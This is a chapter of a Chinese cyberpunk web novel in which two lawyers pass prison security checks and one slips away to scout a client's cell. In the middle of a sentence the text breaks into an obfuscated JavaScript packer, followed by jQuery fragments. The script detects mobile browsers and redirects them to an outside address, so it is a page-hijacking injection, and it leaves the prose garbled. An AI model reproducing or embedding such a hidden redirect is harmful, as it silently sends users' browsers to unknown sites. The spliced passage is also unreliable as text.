自动驾驶轮渡靠了岸，王林搀扶着面色苍白的秋晚晚律师下船。


    脚刚一踩上岸，朝昭就挣脱了关南的搀扶，趴在路边哇哇吐起来。


    关南皱着眉头，一下一下均匀地给她拍背：“真不禁问，把早餐都吐出来了，我们找监狱食堂再吃一顿吧。”


    朝昭把一只手反伸到背后，表示她的抗议。


    关南握住那只在空中乱摆的手臂，有意无意地在手里捏了几下。


    “请问是王律师和秋律师吗？”一个女声在身后响起，关南转头，说话的女生穿着灰色一体制服，再远一点的地方站着两个保镖样的男人，应该是圣罗巴监狱给他们安排的接待。


    关南点了点头，没等她说话，直接问：“有水吗？”


    女生年纪不大，圆脸，听他要水，直接从身后直接拿了一瓶出来给他：“晕船的话，小口喝。”


    朝昭捧着矿泉水坐在长椅上平静着，女生向两人出示了工作证件，利落道：“我是监狱对外联络部部长，蒋云。”


    蒋部长做事很干练，很有耐心地在码头上吹风，等朝昭慢慢好转。在这个空当，她就向两人交代进入监狱的注意事项。


    “我不能全程陪你们进去，进到内部区域之后，会有其他人来接待你们，但原则都是一样的，”蒋云的高马尾在海风中飘扬，“监狱里很多禁区，不要私自闯入不该去的地方，不要跟其他囚犯有任何交流，包括眼神交流。”


    朝昭的胃还难受，但耳朵一直听着，蒋云说的禁区，正是她要重点探查的地方。


    “明白，”关南说，“我们跟当事人有多长的单独谈话时间？”


    “半小时，”蒋云看见朝昭站了起来，“全程录像，没有特殊情况发生的话，我们不会去查看。你可以了吗？”


    朝昭已经差不多了，她说：“进去吧。”


    ##


    在船上远远看着圣罗巴监狱，不觉得里面有多大，一往里走才知道，光是第一、第二道门之间，就要走上十分钟。


    第一道安检是检查随身包裹和管制武器，跟地下铁的流程一样，两人把公文包往机器上一放，穿过一道方形拱门，轻松地过关了。


    负责检查的工作人员看起来玩忽职守惯了，这道关卡基本拦不住什么人，蒋云也不是他们的顶头上司，见到她陪同，他们只是在办公椅上把背挺了一挺。


    第二道关卡就复杂了，要查义体。


    两人被分别领到不同的房间去，房间牌子上写着“检查室”，躺着被推进一架像核磁共振的机器里，两手伸到头顶，呆了一分多钟，就被推出来了。


    朝昭走出检查室，在走廊上等着的蒋云原本在与什么人通话，见她出来，朝她打了个手势，意思是让她过去。


    原本她心里有些没底，尤权明从没跟他们交代过有这种检查，但观察蒋云的神色一切如常，就觉得应该是过关了。


    过一会儿，关南也出来了，两个人交换一个眼神，都明白对方心里也没底，但没敢交流，连脑内通讯也没用，就跟着蒋云继续走。


    走出第二道关卡所在的检查站，视野一下子变得开阔了，一片大广场出现在前面，水泥地上画着白线，规划出不同人员的“法定”道路。


    “接下来，不要踏出白线，”蒋云解释，“虽然预约时你们都签了保证书，但我还是重申一遍，踏出白线受伤了，监狱负一半责任，踏到黄线区域内，你们就全责了。”


    嗯……关南和朝昭又对视一眼，这保证书他们可没读过。


    “那禁区是什么标识？”朝昭最关心的是这个。


    蒋云回头看了她一眼：“那个不用担心，你看见了自然会知道的。”


    三个人在白线内一前两后地走着，白线的规划是笔直的，一直延伸到远处的房子里，黄线大概是犯人的活动区域，规划就有些凌乱，穿插交错着，让人看不明白具体用途。


    路两边的黄线区域内，开始出现高大铁丝网围出的区域，能看见一两个穿着亮橙色统一囚服的犯人在里面晃悠。


    忽然，左前方的有一道铁丝网门打开了，一个狱警拿锁头“当当”敲了门框两下，一队穿着亮黄色囚服的犯人列队而出，沿着其中一条黄线划定的线路走，正朝三人这边过来。


    “不用紧张，”走在前面的蒋云回头来对两人说，“黄衣服的都是轻刑犯，顶多是个故意伤害，手上没有人命，手上一条人命以上的，就穿那边的橙衣服。”


    城市里的法律，算是在谁屋檐下，就向谁低头，在城市犄角旮旯里杀个人，大概率没人管，但一进市中心的大公司辖区，法律立刻就严苛起来。有些犯人往往是多走了一两步，或者抛尸时地方没选好，突然闯入了凶手落网的高危地带，就这么被关了进来。


    出来的这一队黄衣服，朝昭数了数，一共有十五个。


    三人走到一半的时候，从右边的铁网里又走出来一队，也是穿黄衣服，也是十五个。


    朝昭推断，十五应该是一个普通监室的标准配置。


    “我们的当事人，他也跟这些人住在一起吗？”空地上风大，朝昭提高了声量问。


    “不，经济犯罪有另外的监室，”蒋云放慢了如风的脚步，“公司很重视经济犯罪，所以经济犯的狱服是橙红色的。”


    橙红色，明显还不是最重的，按照这个逻辑，上面还有正红色、深红色，朝昭不禁好奇，他们真正的当事人——妮可——穿着什么颜色的狱服呢？


    经过铁网时，亮橙色的服装很扎眼，朝昭忍不住抬眼往里面看，忽然一个犯人转过头，与她四目相对。


    就那么一瞬间，朝昭装作没事地收回了目光，深呼吸。


    等身上的鸡皮疙瘩慢慢消下去。


    离得远，中间还有铁丝网的阻隔，但是她似乎看见，那个人朝她露出了一个极其诡异的笑容。


    “好了，”说话间，三人已经站到最后一道关卡门口，蒋云驻足转回身向他们告别，“接下来需要验证你们的生物信息，我就没法继续往前走了，你们出来还在这里等我，我再带你们出去。”


    朝昭和关南都向她点头，致谢，然而他们心里想的都是同样一句话：


    无论他们最后怎么走出来，都不会再回到这里了。


    ##


    这栋建筑内部给人的感觉，比起监狱，倒更像是一家私人疗养


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245868|164698||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    院。


    从门口进来，一直到接待室，给人的感觉并非预期中的压抑，相反地竟有些惬意。


    走廊干净敞亮，建筑师也并不吝啬窗户的设计，窗户半开，因此走廊里总有风吹进来，纯白色窗帘随着飘扬。


    经过一个房间时，从半掩的门内还传来缓缓的钢琴声。


    生物验证十分顺利地通过了，两人被引到接待室里，分别被端上的一杯飘着柠檬香气的热水，年轻的接待员走了，过一会儿，进来一个穿着警官制服的高个男人。


    “你们是律师？”男人的手习惯性地往腰里的警棍处一掐，左手从口袋里掏出一根烟，大喇喇地问。


    两人受过培训，知道一位为罪犯辩护的律师应该如何对待狱警，此时都站了起来。


    “是的，您好，”关南一边答话，一边从西装里往外掏名片，“我是王林，黑岩公司的内聘律师。”


    男人的脸黝黑，中间一只酒糟鼻黑里透红，两个膀子壮硕无比，抬起一条胳膊挡住他的架势：“不用跟我来你们那一套，这里讲规矩，不讲别的。”


    关南讪讪一笑，心里给自己的表演判了合格。


    男人皱起眉头，又接着说：“现在是饭前点名时间，马上就放饭了，你们得等——你们约了食堂的午餐吗？”


    两人互相看一眼：时间掐得正好。


    “我们就在这等着，等当事人吃完饭再会面吧，”朝昭说，“不耽误你们工作。”


    狱警不是真关心他们的吃饭问题，事实上，他对接触的大部分辩护律师都没有好感，事多、讲究，说话的调调也让人讨厌。


    但今天见到的这两位，给他的感觉倒好很多，此时又听朝昭有这种觉悟，对两人的态度竟改善了。


    “那就麻烦你们等着了，外面有水，也有售货机，自便吧。”这话里的善意，较他往常来说已经超标了。


    男人离开了，朝昭把公文包递向关南：“帮我拿一下，我去个洗手间。”


    这句话让关南的嘴角立刻绷紧了，一时，他没立刻伸手接下包。


    这是两人确定的暗号，朝昭要开始行动了。


    关南仰头看着朝昭的眼睛，看那里面先是疑惑，然后转为一种宽慰，然后她幅度极小地点头。


    也许是经过上次在俱乐部的事情，他对朝昭自己行动有了些许阴影，或者说，是本能地不想再经历那种急切而茫然的心情。


    但今天他只能让朝昭去，芯片在她身上，对于妮可所在监室的探查，也只能靠朝昭。


    片刻，他伸手接下了朝昭递过来的公文包，说：“顺便再买瓶水。”


    朝昭回答：“好。”转身开门离开。


    关南盯着已经关上的门看了片刻，才把怀里两只一模一样的公文包放在紧邻的椅子上。


    最后那句话，当时他们确认暗号时，是他开玩笑似的加上的。


    “那如果我说，回来的时候买瓶水，那意思就是……”他想了半天怎么措辞，朝昭对着他的欲言又止皱眉，脑袋下意识地歪一下，被他看在眼里，话就顺着说出来了：


    “意思就是，小心一点，保护好自己，一定要活着回来。”